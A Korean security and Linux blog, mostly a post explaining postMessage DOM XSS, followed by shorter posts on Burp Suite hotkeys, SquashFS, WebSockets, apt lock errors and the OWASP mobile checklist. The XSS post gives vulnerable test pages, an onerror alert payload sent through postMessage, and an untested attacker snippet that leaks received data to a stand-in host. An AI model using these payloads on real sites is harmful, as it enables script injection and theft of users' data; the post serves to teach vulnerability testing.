8/30/2016

[WEB HACKING] HTML5 postMessage API를 이용한 XSS/Information Leakage(Hunting Vulnerability)

지난주 Exploit-db에서 뒤적뒤적 하던 중 PostMessage 재미있는 관련 문서를 보게되었습니다.
https://www.exploit-db.com/docs/40287.pdf

바로 postmessage에서 발생하는 취약점을 찾는 방법입니다.
오늘은 이 postmessage를 이용한 XSS 방법들에 대해 좀 더 테스트해본 결과를 공유할까 합니다.

문서 작성해주신 Gary O'Leay-Steele에게 감사의 표현을..
(Thank you for good doc. Gary)

What is postMessage(Window.postMessage)

postMessage 는 HTML5에서 새롭게 추가된 API 중 하나입니다.
(이젠 HTML5도 오래되었네요..)

postMessage는 각각 웹 페이지끼리 메시지를 주고받을 수 있는 api이며 크로스 도큐먼트 메세징(Cross Document Messaging)을 이용해서 두개의 웹 페이지가 서로 메시지를 주고받을 수 있습니다.

http://apress.jensimmons.com/v5/pro-html5-programming/images/ch6/fig6-1.jpg


원형은 이렇습니다.


window.postMessage(data, [ports], targetOrigin)

data: 전달할 메세지, 즉 송신할 데이터를 지정한다
ports: 메세지 포트(생략 가능)
targetOrigin: 타켓 도메인,  즉 메세지를 수신받는 도메인을 지정한다
                  대상이 특정 도메인이 아니라면 * 로 지정한다

(http://m.mkexdev.net 내 참조)

A(parent) B(child)가 있다고 가정하고 A에서 Iframe을 통해 B를 불러옵니다.
그다음 postMessage를 통해 데이터를 쉽게 보낼 수 있습니다.


var google = window.open("https://www.google.com")
google.postMessage("hi","*");

iframe을 통한 창 열기에선 parent내 메소드를 통해서도 가능합니다.
(child기준)


parent.postMessage("Hizzz");

이 postMessage는 원격 도메인 또한 지원하며 CORS(크로스 도메인 정책)의 영향을 받기 때문에 뒤에 나오는 취약점과 보안 문제점들은 Weak CORS가 존재해야 영향력이 있습니다.
(CORS 포스팅을 해둔줄 알았는데..아니였네요..아래 링크 참조하세영)

https://developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS
(개발 정보는 모질리가 최고죠)

postMessage Security Point

위에서 설명드린 대로 CORS 정책을 준수하는 만큼 그만큼의 위험성도 가지고 있다는 것입니다. 메시지를 통해 DOM 영역에 Write 할 수도 있고 Application 이 사용할 수도 있습니다.
그러나 개발자는 이러한 부분 중 보안에 대해 완벽하게 고려하여 개발하기 어렵기 때문에 문제가 발생할 소지가 있는 부분이죠.



postMessaage DOM XSS(Cross-Site Scripting)


dom 영역에 작성 가능한 메소드들을 활용하여 XSS를 할 수 있습니다.
대표적으로... document.write 부터 시작해서 innerHTML 등이 있겠죠.

문서에서는 페이지 이동인 location, open 등등 여러가지 메소드를 제시해주었습니다.
모두 XSS에 많이 사용되는 메소드이지요 :)

Payload
Description
document.write()DOM 영역에 직접 데이터를 씁니다.
document.writeln()DOM 영역에 직접 데이터를 씁니다.
element.innerHTML특정 element 내 data 부분(태그 내) 데이터를 씁니다.
element.outerHTML특정 element 내 data 부분(태그 외) 데이터를 씁니다.
location=DOM 영역의 location(page)를 지정합니다.
location.href=DOM 영역의 location(page)를 지정합니다.
window.open()새로운 창을 엽니다.
location.replace()DOM 영역의 location(page)를 변경합니다.
$()실행
eval()실행
element[script tag].src스크립트 태그 내 src 조작
element[script tag].text스크립트 태그 내 데이터 조작
element[script tag].textContent스크립트 태그 내 데이터 조작
element[script tag].innerText스크립트 태그 내 데이터 조작
[구글 블로그는 제발 에디터에 표 작성 기능을 추가하라. html 로 치기 매우 귀찮다..]

자 이제 실제 공격이 어떻게 이루어지는지 보도록 하겠습니다.
큰 그림을 먼저 살펴보면 아래와 같습니다.

child(attacker) --> parent(victim)
[추가 예정]

일단 취약 페이지 내 코드 부분은 아래 js 코드입니다.

<script>
function receiveMessage(event){
data = event.data;
name_div = document.getElementById("logged_in_as");
name_div.innerHTML = "<b>Welcome: </b>" + data.username;
messages_div = document.getElementById("messages");
messages = data.messages;
msg_length = messages.length;
var msg_html = "";
for (var i = 0; i < msg_length; i++)
 {
    message = messages[i];
    msg_html += "<h2>" + message['title'] + "</h2>";
    msg_html += message.message;
 }
 messages_div.innerHTML = msg_html;
}
window.addEventListener("message", receiveMessage, false);
</script>

postMessage로 사용자의 정보를 받아서 웹에 뿌려주는 기능을 가지고 있습니다.
자 여기서 주목해서 보셔야할 부분은 웹에 뿌리는 부분과 필터링이 없다는 점입니다.

1. 웹에 뿌리는 구간
반복문 아래에 message_div.innerHTML을 통해서 받은 message 값을 쓰게 되는데
innderHTML을 각 태그 내 필터링 없이 직접 값을 쓰게됩니다. 태그 사용이 가능하다는 이야기지요.

2. 필터링 부재
코드에 보시면 전혀 msg_html 변수에 대해 필터링하는 함수가 없습니다. 이는 postMessage를 통해 특수문자를 받을 시 필터링 없이 노출되어 XSS에 취약할 수 있다는 의미입니다.

일반적인 요청은 아래와 같이 user 정보에 대해 전송합니다.


{"username": "HAHWUL", "messages": [
{"message": "this is log!",
"title": "TEST Application"}]

공격자는 이를 변조하여 전송하면 XSS가 가능해지겠죠.
(왜? 필터링이 없으니깐!)

{"username": "HAHWUL<img src='z' onerror=alert(45)>", "messages": [
{"message": "this is log!",
"title": "TEST Application"}]
이러면 전혀 필터링이 없기 때문에 innerHTML로 인해서 <img src='z' onerror=alert(45)> 가 삽입되어 스크립트가 동작하게 됩니다.

그럼 공격자는 어떻게 저 정보를 보낼 수 있을까요?

답은 아까 처음에 postMessage에 있습니다.
https://www.exploit-db.com/docs/40287.pdf#19

parent.postMessage("Hizzz");

parent.postMessage(
{"username": "HAHWUL<img src='z' onerror=alert(45)>", "messages": [
{"message": "this is log!",
"title": "TEST Application"}]);

요런식으로 보내게 된다면 postMessage를 통해 받은 parent(victim)이 스크립트 구문을 innerHTML에 적어 XSS가 동작하게 됩니다.

postMessaage DOM XSS(Cross-Site Scripting) / Testing Code

위 데이터는 실제 취약했던 사이트를 배경으로 작성된 것 같네요. 그럼 우리만의 간단한 테스트 페이지를 만들어서 볼까요?

먼저 취약 페이지를 만들어봅니다.

test2.html

<!DOCTYPE html>
<html>
<head></head>
<body>
MESSAGE<br>
  <div id="message"></div>   
</body>
</html>
<script type="text/javascript">   
  window.onmessage = function(e){
    document.getElementById("message").innerHTML += e.data;
  }
</script>

이 페이지는 message를 받아서 출력해주는 코드를 가지고 있습니다.
이제 이 페이지를 호출하는 페이지를 만들어 봅니다.

test.html

<!DOCTYPE html>
<html>
<head></head>
<body>
  <div id="message"></div>
  <button onclick="sendMessage();">Send-></button>
  <iframe id="tt" src="test2.html" width="200" height="100"></iframe>
</body>
</html>
<script type="text/javascript"> 
  function sendMessage(){
    var dest = document.getElementById("tt");
    dest.contentWindow.postMessage("<br>Parent: MSG","*");
  }   
</script>

test.html을 열어서 send를 눌러보시면 메시지가 전송되는 걸 볼 수 있습니다. 만약 우리가 이 MSG에 대해 제어가 가능하다면 이런식으로 공격이 들어갈 수 있겠죠.

test.html(attack code)

<!DOCTYPE html>
<html>
<head></head>
<body>
  <div id="message"></div>
  <button onclick="sendMessage();">Send-></button>
  <iframe id="tt" src="test2.html" width="200" height="100"></iframe>
</body>
</html>
<script type="text/javascript"> 
  function sendMessage(){
    var dest = document.getElementById("tt");
    dest.contentWindow.postMessage("<br>Parent: MSG<img src='z' onerror=alert(45)>","*");
  }   
</script>

간단하게 어떤 방식인지 표현하기 위해서 직접 삽입했고, 실제로는 메시지 데이터를 쓰는 부분에서 postMessage를 통해 넘어가기 때문에 공격구문을 넣어서 child로 보낼 수 있습니다.

실행되는 걸 보면 아래와 같습니다.


postMessage Sensitive Data Leakage

postMessage를 이용하면 반대로 민감한 데이터를 훔치는 것도 가능합니다.
물론 웹 요청을 타고 넘어가진 않아 SSL 여부와는 별개로 볼 수 있습니다. 브라우저단에서 API로 처리되기 때문에 Burp 같은 툴로는 보이지 않습니다. 그러나 사용자의 정보를 가져오는 부분등 Parent가 Child에게 요청해서 데이터를 받는 부분에선 어떨까요?

JSON Hijack이나 여러 데이터 탈취 기법들과 동일하게 postMessage도 데이터를 전송할 때 요청한 창(Parent)에 대한 검증이 필요합니다. 공격자가 취약 페이지를 자신들의 사이트에서 Child로 호출한 후 postMessage를 통해 정보 수집을 하는 기능을 요청한다면 손쉽게 사용자의 정보를 얻어낼 수 있겠지요.

(영어가 좀 딸려서 문서에서 말한거랑 제 생각이랑 같은건지는 모르겠네요.. 써놓고 보다보니 문서에 유사한 내용이 있었네요 이건..)

일단 저는 제 생각으로 작성합니다. 문서 보시고 혹시나 같다면 말씀주세요. 궁금궁금

예를들어 이런 코드가 있다고 칩시다.

Victim

function parent_getUserInfo()
{
   var userdata=[name,age, 등등...];
   parent.postMessage(userdata);
}

Attacker

<img src="http://127.0.0.1/?" id=message>  <!-- 공격자 페이지 -->
<script>
 window.onmessage = function(e){    // data를 읽어와서
 document.getElementById("message").src += "&"+e.data; //
</script>

음.. 사실 대충 머릿속으로 짠거라 동작할지는 모르겠네요.

단순하게 정보를 반환하는 함수가 있다고 하면 공격자가 다른 웹 서비스에서 해당 페이지를 호출(iframe)합니다.
XSS가 취약한 페이지에서 postMessage가 취약한 페이지를 호출하는 느낌(?)

그러면 parent가 XSS가 취약한 페이지로 되어있고, 해당 서버로 userdata의 데이터가 넘어갈 겁니다.
그러면 공격자는 parent(XSS 취약 페이지)에서 자신의 서버로 다시 정보를 날려서 데이터를 탈취할 수 있습니다.

PMHOOK을 이용한 postMessage Testing

제가 봤던 문서에서는 PMHOOK을 이용해서 postMessage를 테스팅 하는 방법에 대해 다룹니다.
PMHOOK은 Client side에서 JS 라이브러리를 분석하는 툴로 Chrome, filrefox 확장기능(addon)인 tampermonkey를 이용해서 동작한다고 하네요.
https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=ko

tampermonkey 설치 후 PMHook을 다운받아서 테스트할 수 있고, 이 내용은 관련 문서랑 내용 일부 보시면 좋을 것 같습니다.



문서 링크: https://www.exploit-db.com/docs/40287.pdf#19 (19페이지 부터)
내용 일부


1.Install Chrome or Firefox and add the TamperMonkey browser extension
To install PMHook, first download and install either the Chrome or Firefox web browsers and add the TamperMonkey browser extension from https://tampermonkey.net

2.Install PMHook
Download PMHook from http://pmhook.appcheck-ng.com and install it as a UserScript via the TamperMonkey Dashboard.

3.Verify the install
With the PMHook installed, browse to https://www.google.com/(and perhaps a few othermajor sites) and then access the PMHook UI at https://pmhook.appcheck-ng.com.

Click the “Dump Handlers” button and you should now see a list of logged message handlers

끝으로 해당 문서에서 보시면 postMessage 관련해서 각종 우회 방법과 테스트 케이스들이 있습니다. 숙지해두시면 언젠간 꼭 도움될테니 재미있게 보시면 좋을 것 같습니다. 저도 추가로 연구중이며 혹시나 궁금한점 있으시면 댓글 or 메일 부탁드립니다. (저분한테 직접 물어보시는것도 좋아요)

Reference

https://www.exploit-db.com/docs/40287.pdf
http://m.mkexdev.net/75
https://developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS
Share: | Coffee Me:

8/23/2016

[WEB HACKING] Burp Suite's hotkeys and Edit hotkey


개인적으로 웹 해킹 시 주력으로 사용하는 툴은 Burp 입니다. 많이 알려져있는 툴이며 굉장히 좋은 기능들을 지원하는 프록시 도구입니다. 매번 취약점 진단이나 모의해킹 시 저와 함께합니다.

최근 ZAP(OWASP Zed Attack Proxy)를 사용해봤는데 굉장히 좋더군요. 그래도 손에 익은 단축키와 저에게 맞는 UI로 저는 Burp의 손을 들어주고 싶네요.



오늘은 Burp의 단축키, Hot key에 대해 정리할까 합니다. 물론 툴에서도 쉽게 확인할 수 있지만 페이지로 정리해두면 잊어버리거나 필요할 때 금방금방 사용할 수 있지요.

Burp suite Default Hot keys

기본으로 제공되는 Hot Key입니다. Send to Repeater(Ctrl+R)과 같이 아주 자주쓰는게 대다수기 때문에 익숙해지시면 굉장히 좋습니다.

FunctionHot Key
Send to RepeaterCtrl+R
Send to IntruderCtrl+I
Forward intercepted Proxy messageCtrl+F
Toggle Proxy interceptionCtrl+T
Switch to TargetCtrl+Shift+T
Switch to ProxyCtrl+Shift+P
Switch to ScannerCtrl+Shift+S
Switch to IntruderCtrl+Shift+I
Switch to RepeaterCtrl+Shift+R
Switch to Suite optionsCtrl+Shift+O
Switch to Alerts tabCtrl+Shift+A
Go to previous tabCtrl+Minus
Go to next tabCtrl+Equals
Editor: CutCtrl+X
Editor: CopyCtrl+C
Editor: PasteCtrl+V
Editor: UndoCtrl+Z
Editor: RedoCtrl+Y
Editor: Select allCtrl+A
Editor: SearchCtrl+S
Editor: Go to previous search matchCtrl+Comma
Editor: Go to next search matchCtrl+Period
Editor: URL-decodeCtrl+Shift+U
Editor: URL-encode key charactersCtrl+U
Editor: HTML-decodeCtrl+Shift+H
Editor: HTML-encode key charactersCtrl+H
Editor: Base64-decodeCtrl+Shift+B
Editor: Base64-encodeCtrl+B
Editor: Backspace wordCtrl+Backspace
Editor: Delete wordCtrl+Delete
Editor: Delete lineCtrl+D
Editor: Go to previous wordCtrl+Left
Editor: Go to previous word (extend selection)Ctrl+Shift+Left
Editor: Go to next wordCtrl+Right
Editor: Go to next word (extend selection)Ctrl+Shift+Right
Editor: Go to previous paragraphCtrl+Up
Editor: Go to previous paragraph (extend selection)Ctrl+Shift+Up
Editor: Go to next paragraphCtrl+Down
Editor: Go to next paragraph (extend selection)Ctrl+Shift+Down
Editor: Go to start of documentCtrl+Home
Editor: Go to start of document (extend selection)Ctrl+Shift+Home
Editor: Go to end of documentCtrl+End
Editor: Go to end of document (extend selection)Ctrl+Shift+End

Edit HotKey

Burp는 단축키 변경으로 개인의 스타일에 맞게 편리한 사용을 지원합니다.
일단 요약해서 설명드리면.. Options >> Misc >> Hotkeys >> Edit hotkeys 입니다.

Burp 창에서 Options으로 들어가줍니다.



Options 탭으로 들어가면 하단에 Connections, HTTP, SSL, Sessions, Display, Misc의 탭이 보입니다.

이 중에서 Misc 탭으로 들어갑니다. 접근하게 되면 맨 위에 Hot Keys 항목이 보입니다.



여기서 Edit hotkeys를 눌러보시면 지정 안된 단축키들도 많이 보입니다. 여기서 하나하나 편집해주시면 됩니다.


Reference

Burp Suite 1.6
Share: | Coffee Me:

[DEBIAN] SquashFS - compressed read-only file system for Linux


서버 PC에 리눅스를 재설치 해야할 일이 생겨 unetbootin으로 굽던 중 일시적인 딜레이로 인해 잠깐 멈춰있었습니다. 그 중 눈에들어온 것이 하나 있는데요. 바로 "SquashFS" 입니다.

(아마 copy 과정 중 제일 오래걸렸던 것 같습니다.)

SquashFS란?

SquashFS(스쿼시FS)는 고압축 파일시스템입니다. 여러 파일시스템 종류 중 하나이고 아주 소형화된 Linux device에서 사용되는 파일시스템이죠.

이런 소형화된 시스템에선 용량에 대해 아주 민감합니다. 그래서 고압축 파일시스템인 SquashFS를 사용하지요.



대표적인 특징을 보면 아래와 같습니다.

 - Data, i-node 및 directory 에 대해 압축
 - 파일에 대해 최대 2^64 byte를 지원함
 - Big/Little Endian 모두 제공
 - Read-only file system

Install SquashFS on Debian

Debian에서는 apt 패키지 매니저를 통해 쉽게 설치할 수 있습니다.
(원래는 커널단 작업이 필요한 노가다..)

apt-get 으로 간단하게 설치해줍니다.
squashfs-modules-2.6-486 : 각 커널 버전 별 squashfs module 입니다.
squashfs-tools : 편리한 사용을 위한 툴

#> apt-get apt-get install squashfs-modules-2.6-486  squashfs-tools

데비안(우분투) 가 아니라면.. 직접 다운로드 받아서 설치합니다.

Download SquashFS 

SquashFS는 sourceforge를 통해 배포되고 있습니다. 아래 링크에서 다운로드 받을 수 있습니다.
http://squashfs.sourceforge.net/ 



최신버전을 다운로드 받은 후 SquashFS를 사용하기 위해 커널단의 지원이 필요합니다.

Preparing a SquashFS-capable kernel

먼저 SquashFS를 지원하는 커널 패치를 다운로드 후 패치합니다.

#> cd /usr/src/squashfs
#> cp linux-2.x.z/squashfs-patch /usr/src/linux
#> cd /usr/src/linux
#> patch -p1 < squafs-patch

이후 kernel을 컴파일 합니다(패치를 적용해야지요)

#> make
#> make menuconfig
#> make dep
#> make bzImage
#> make modules

컴파일이 완료되면 커널을 설치합니다.

#> cp arch/i386/boot/bzImage /boot/bzImage-sqsh
#> make modules_install
#> cat /proc/filesystems

insmod를 이용하여 squashfs 모듈을 올리고 확인해봅니다.

#> insmod squashfs
#> cat /proc/filesystems

Install SquashFS tool

debian의 경우 위에서와 같이 apt로 설치해주시면 되고, 직접 설치 시 make 해주시면 됩니다.

#> cd /usr/src/squashfs/squashfs-tools
#> make
#> cp mksquashfs /usr/bin
#> cp unsquashfs /usr/bin

mksquashfs를 이용하여 squashfs 만들기

mksquashfs는 아까 squashfs-tools에 포함된 툴이며 명령어로 squashfs를 만들 수 있습니다.
실행 정보는 아래와 같습니다.

mksquashfs source1 source2 ... destination [options]

#> mksquashfs /var/test /var/test.sqsh
#> mkdir /mnt/tmp
#> mount /var/test.sqsh /mnt/tmp -t squashfs -o loop
#> ls /mnt/tmp
/var/test.sqsh /var/test squashfs ro,defaults 0 0

Reference

https://en.wikipedia.org/wiki/SquashFS
http://www.tldp.org/HOWTO/html_single/SquashFS-HOWTO/
http://squashfs.sourceforge.net/ 
Share: | Coffee Me:

[CODING] WebSocket - Overview , Protocol/API and Security

WebSocket이란?

WebSocket은 웹 페이지에서 실시간으로 동작하는 웹 서비스를 만들어 줄 수 있는 표준 기술입니다.
일반적으로 웹 프로토콜인 HTTP는 Request와 Response 기반으로 새로 요청이 발생하면 페이지를 다시 그려야하는 구조입니다. 덕분에 쿠키라는 개념도 사용되게 되었지요.
(인증 정보를 유지하기 위해)



저 또한 페이지의 이동없이 나름 동적으로 동작하는 웹 페이지를 만들기 위해서 iframe을 이용하여 트릭을 좀 쓰곤 합니다. 이처럼 사용자는 페이지의 이동 없이 내부 동작을 처리하고 싶어집니다. 웹을 일반 응용프로그램과 비슷한 여건을 만들어주는 WebSocket이 사용되게 되었고, 이는 HTML5의 표준으로 올라가게 되었습니다.

이를 통해서 웹은 좀 더 편리하게 실시간으로 데이터를 갱신할 수 있게되지요.

WebSocket은 Upgrade 헤더를 통해 일반 웹 페이지에서 웹 소켓으로 전환할 수 있습니다.
아래를 보시면 Upgrade 헤더와 connect 헤더에 각각 WebSocket, Upgrade가 들어가있는 것을 볼 수 있습니다.

GET /... HTTP/1.1 
Upgrade: WebSocket 
Connection: Upgrade 
이는 HTTP 기반 웹 처리에서 WebSocket 으로 넘어가게 하는 구절이며 이와 동시에 클라이언트가 랜덤한 키 값을 서버로 보내어 토큰을 생성하고 반환하는 과정, 즉 Handshaking이 이루어집니다.

Wikipidia에 있는 예제를 보면 아래와 같습니다.

Request

GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==         --> BASE64(Random Byte)
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com
Response

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=   --> BASE64(SHA1(GUID)
Sec-WebSocket-Protocol: chat
여기서 Sec-WebSocket-Key와 Sec-WebSocket-Accept 부분은 개인정보 보호 및 무결성 검증을 위해서 사용되는 부분이고
아래와 같이 각각 값들을 Base 64로 인코딩하여 사용합니다.

Sec-WebSocket-Key: 랜덤한 Byte를 Base64로 인코딩
Sec-WebSocket-Accept: GUID 값을 Sha1으로 해싱 후 Base64로 인코딩

WebSocket Protocol & API

위에서 WebSocket Protocol에 대한 이야기를 어느정도 해두어서 간단하게 하겠습니다.
일단 ws:// 를 통해 WebSocket 프로토콜을 사용할 수 있습니다.
SSL 적용은 https과 같이 wss로 동작합니다.

웹 소켓 연결 주소
ws://127.0.0.1:80

WebSocket을 사용하는 간단한 코드입니다.

if (true)
{ 
    var TestSocket = new WebSocket(“ws://127.0.0.1:80”);
    // localhost의 80 포트로 WebSocket을 연결합니다.

    TestSocket.send(“Msg!!”);
    // 메시지를 전송합니다
   
    TestSocket.close();
    // Socket 종료
}
127.0.0.1에 연결 후Msg!!를 전송하고 Socket을 닫는 코드이지요.
WebSocket 함수들은 구글링해보시면 많이 나옵니다.
(https://html.spec.whatwg.org 참고)

WebSocket Security

가장 크게 우려되는 부분이 https를 사용하는 페이지에서 WebSocket을 사용할 때 SSL이 적용되지 않은 소켓을 사용하는 것 입니다. 이러한 형태의 실수는 자주 발생할 수 있는 부분이고 WebSocket을 통해 전송되는 데이터가 중요한 데이터라면 그 의미는 더욱 커지기 마련입니다.

또한 WebSocket을 이용한 공격또한 은근히 보입니다. CSWSH(Cross-Site WebSocket Hijacking) 등등 웹 기반에서 발생할 수 있는 취약점의 응용 선상도 존재합니다. CSWSH도 결국 CORS헤더에서 요청의 신원에 대해 제어하지 않을 때 다른 서버로 Cookie 값을 넘길 수 있기 때문에 WebSocket을 통해 HTTP 통신을 하는 웹 페이지까지 공격 당할 수도 있지요.


Reference

https://html.spec.whatwg.org/multipage/comms.html#network
http://d2.naver.com/helloworld/1336
https://developer.mozilla.org/ko/docs/WebSockets/Writing_WebSocket_client_applications
https://en.wikipedia.org/wiki/WebSocket
Share: | Coffee Me:

8/12/2016

[DEBIAN] apt-get 사용 시 (잠금 파일을 얻을 수 업습니다)Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable) TroubleShooting

메모 차원에서 간단하게 적어둡니다.
apt-get 사용 시 아래와 같은 에러로 인해 진행이 되질 않는 경우가 있습니다.


E: /var/lib/dpkg/lock 잠금 파일을 얻을 수 없습니다 - open (11:
Resource temporarily unavailable)
E: Unable to lock the administration directory (/var/lib/dpkg/), is anothers process using it?

E: Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable)
E: Unable to lock the administration directory (/var/lib/dpkg/) is another process using it?

해당 상황은 다른 사용자(또는 자신)가 apt-get 을 사용중일 때 접근 시 발생합니다.
물론 아무도 안쓰고 나도 안쓰는데 발생할때가 있습니다.

lock 파일 삭제로 간단하게 처리 가능합니다.

#> rm /var/lib/dpkg/lock

유사에러로 apt-get update 에서 발생하는 에러인데요, lists 에 lock이 걸려 진행이 안될때가 있습니다.

이 또한 dpkg/lock 와 같이 삭제로 쉽게 처리 가능합니다.

E: Could not get lock /var/lib/apt/lists/lock - open (11: Resource temporarily unavailable)
E: Unable to lock directory /var/lib/apt/lists/

#> rm /etc/apt/lists/lock
Share: | Coffee Me:

8/11/2016

[HACKING] Mobile Application Vulnerability Research Guide(OWASP Mobile Security Project)


오늘은 간만에 모바일 보안, 즉 스마트폰에 대한 이야기를 하려합니다.
(요즘 바빠서 글 쓸 시간이 없네요.. )

올해 OWASP는 Mobile Security Project로 Mobile Application Security Guide, 즉 취약점 점검, 모의해킹, 보안을 위한 체크리스트를 공개했습니다.

내용을 보시면 아시곘지만.. 악성코드 분석 이런 내용보다는 앱을 공격하고 취약점을 진단하는 내용에 포커싱이 맞춰져 있습니다. 총 91개의 항목으로 구성되어 있고 모바일 취약점 진단하시는 분이라면 조금 도움될 수 있는 문서인 것 같네요.

https://www.owasp.org/index.php/OWASP_Mobile_Security_Project > file

Intro

사실 취약점 분석이나 해킹의 과정이 절차가 있진 않습니다. 물론 개인적인 생각이지만..
Recon / Scanning 등 순서에 따라 하기보단 그냥 막 찔러보는게 제 스타일인 것 같네요.
[ 정보는 테스트하면서 수집하는거죠 :) ]

다만 취약점 분석 중 확실히 도움되는 부분 중 하나는 잘 정리된 체크리스트입니다.
어떤 어플리케이션 / 시스템의 취약성을 제거하는데는, 놓치는 것이 없도록 확인할 수 있는 체크리스트가 좋은 역할을 하죠. 그럼 한번 보도록 하겠습니다.



Mobile Security Check List

크게 Client 쪽 체크리스트, Server 단 체크리스트로 나뉘어져 있고 약간 "최소 꼭 확인해야할 것"
 정도의 느낌으로 해석하시면 될 것 같습니다.

NoVulnerabilityPlatformClassificationSIDE
1Application is Vulnerable to Reverse Engineering Attack/Lack of Code All Static CkecksClient-Side
2Account Lockout not Implemented All Dynamic CkecksClient-Side
3Application is Vulnerable to XSS All Static + Dynamic CkecksClient-Side
4Authentication bypassed All Dynamic CkecksClient-Side
5Hard coded sensitive information in Application Code (including Crypt All Static CkecksClient-Side
6Malicious File Upload All Dynamic CkecksClient-Side
7Session Fixation All Dynamic CkecksClient-Side
8Application does not Verify MSISDN WAP UnknownClient-Side
9Privilege Escalation All Dynamic CkecksClient-Side
10SQL Injection All Static + Dynamic CheckClient-Side
11Attacker can bypass Second Level Authentication All Dynamic CkecksClient-Side
12Application is vulnerable to LDAP Injection All Dynamic CkecksClient-Side
13Application is vulnerable to OS Command Injection All Dynamic CkecksClient-Side
14iOS snapshot/backgrounding Vulnerability iOS Dynamic CkecksClient-Side
15Debug is set to TRUE Android Static CkecksClient-Side
16Application makes use of Weak Cryptography All Static CkecksClient-Side
17Cleartext information under SSL Tunnel All Dynamic CkecksClient-Side
18Client Side Validation can be bypassed All Dynamic CkecksClient-Side
19Invalid SSL Certificate All Static CkecksClient-Side
20Sensitive Information is sent as Clear Text over network/Lack of Data All Dynamic CkecksClient-Side
21CAPTCHA is not implemented on Public Pages/Login Pages All Dynamic CkecksClient-Side
22Improper or NO implementation of Change Password Page All Dynamic CkecksClient-Side
23Application does not have Logout Functionality All Dynamic CkecksClient-Side
24Sensitive information in Application Log Files All Dynamic CkecksClient-Side
25Sensitive information sent as a querystring parameter All Dynamic CkecksClient-Side
26URL Modification All Dynamic CkecksClient-Side
27Sensitive information in Memory Dump All Dynamic CkecksClient-Side
28Weak Password Policy All Dynamic CkecksClient-Side
29Autocomplete is not set to OFF All Static CkecksClient-Side
30Application is accessible on Rooted or Jail Broken Device All Dynamic CkecksClient-Side
31Back-and-Refresh attack All Dynamic CkecksClient-Side
32Directory Browsing All Static + Dynamic ChecClient-Side
33Usage of Persistent Cookies All Dynamic CkecksClient-Side
34Open URL Redirects are possible All Dynamic CkecksClient-Side
35Improper exception Handling: In code All Static CkecksClient-Side
36Insecure Application Permissions All Static CkecksClient-Side
37Application build contains Obsolete Files All Static CkecksClient-Side
38Certificate Chain is not Validated All Static + Dynamic ChecClient-Side
39Last Login information is not displayed All Dynamic CkecksClient-Side
40Private IP Disclosure All Static CkecksClient-Side
41UI Impersonation through RMS file modification JAVA Dynamic CkecksClient-Side
42UI Impersonation through JAR file modification Android Dynamic CkecksClient-Side
43Operation on a resource after expiration or release All Dynamic CkecksClient-Side
44No Certificate Pinning All Dynamic CkecksClient-Side
45Cached Cookies or information not cleaned after application removal/ All Dynamic CkecksClient-Side
46ASLR Not Used iOS Static CkecksClient-Side
47Clipboard is not disabled All Dynamic CkecksClient-Side
48Cache smashing protection is not enabled iOS Static CkecksClient-Side
49Android Backup Vulnerability Android Static CkecksClient-Side
50Unencrypted Credentials in Databases (sqlite db) All Dynamic CkecksClient-Side
51Store sensitive information outside App Sandbox (on SDCard) All Dynamic CkecksClient-Side
52Allow Global File Permission on App Data Android Dynamic CkecksClient-Side
53Store Encryption Key LocAlly/Store Sensitive Data in ClearText All Dynamic CkecksClient-Side
54Bypass Certificate Pinning All Dynamic CkecksClient-Side
55Third-party Data Transit on Unencrypted Channel All Dynamic CkecksClient-Side
56Failure to Implement Trusted Issuers Android Static CkecksClient-Side
57Allow All Hostname VerifierAndroid Static CkecksClient-Side
58Ignore SSL Certificate Error All Static CkecksClient-Side
59Weak Custom Hostname Verifier Android Static CkecksClient-Side
60App/Web Caches Sensitive Data Leak All Dynamic CkecksClient-Side
61Leaking Content Provider Android Dynamic CkecksClient-Side
62Redundancy Permission Granted Android Static CkecksClient-Side
63Use Spoof-able Values for Authenticating User (IMEI, UDID) All Dynamic CkecksClient-Side
64Use of Insecure and/or Deprecated Algorithms All Static CkecksClient-Side
65Local File Inclusion (might be through XSS Vulnerability) All Static + Dynamic ChecClient-Side
66Activity Hijacking Android Static CkecksClient-Side
67Service Hijacking Android Static CkecksClient-Side
68Broadcast Thief Android Static CkecksClient-Side
69Malicious Broadcast Injection Android Static CkecksClient-Side
70Malicious Activity/Service Launch Android Static CkecksClient-Side
71Using Device Identifier as Session All Dynamic CkecksClient-Side
72Symbols Remnant iOS Static CkecksClient-Side
73Lack of Check-sum Controls/Altered Detection Android Dynamic CkecksClient-Side
74Insecure permissions on Unix domain sockets Android Static CkecksClient-Side
75Insecure use of network sockets Android Static CkecksClient-Side
76Cleartext password in Response All Dynamic CkecksServer-Side
77Direct Reference to internal resource without authentication All Dynamic CkecksServer-Side
78Application has NO or improper Session Management/Failure to Invali All Dynamic CkecksServer-Side
79Cross Domain Scripting Vulnerability All Dynamic CkecksServer-Side
80Cross Origin Resource Sharing All Dynamic CkecksServer-Side
81Improper Input Validation - Server Side All Dynamic CkecksServer-Side
82Detailed Error page shows internal sensitive information All Dynamic CkecksServer-Side
83Application Allows HTTP Methods besides GET and POST All Dynamic CkecksServer-Side
84Cross Site Request Forgery (CSRF)/SSRF All Dynamic CkecksServer-Side
85Cacheable HTTPS Responses All Dynamic CkecksServer-Side
86Path Attribute not set on a Cookie All Dynamic CkecksServer-Side
87HttpOnly Attribute not set for a cookie All Dynamic CkecksServer-Side
88Secure Attribute not set for a cookie All Dynamic CkecksServer-Side
89Application is Vulnerable to Clickjacking/Tapjacking attack All Dynamic CkecksServer-Side
90Server/OS fingerprinting is possible All Dynamic CkecksServer-Side
91Lack of Adequate Timeout Protection All Dynamic CkecksServer-Side

Reference

https://www.owasp.org/index.php/OWASP_Mobile_Security_Project
Share: | Coffee Me:

8/08/2016

[RUBY] Cuntom column sort function on Two-dimensional array


루비로 코딩하던 중 귀찮은 일이 있었습니다. 바로 array에 대한 정렬 중 2차원 이상 배열에서는 제가 지정한 열을 기준으로 정렬할 수 있는 함수가 없던것입니다..

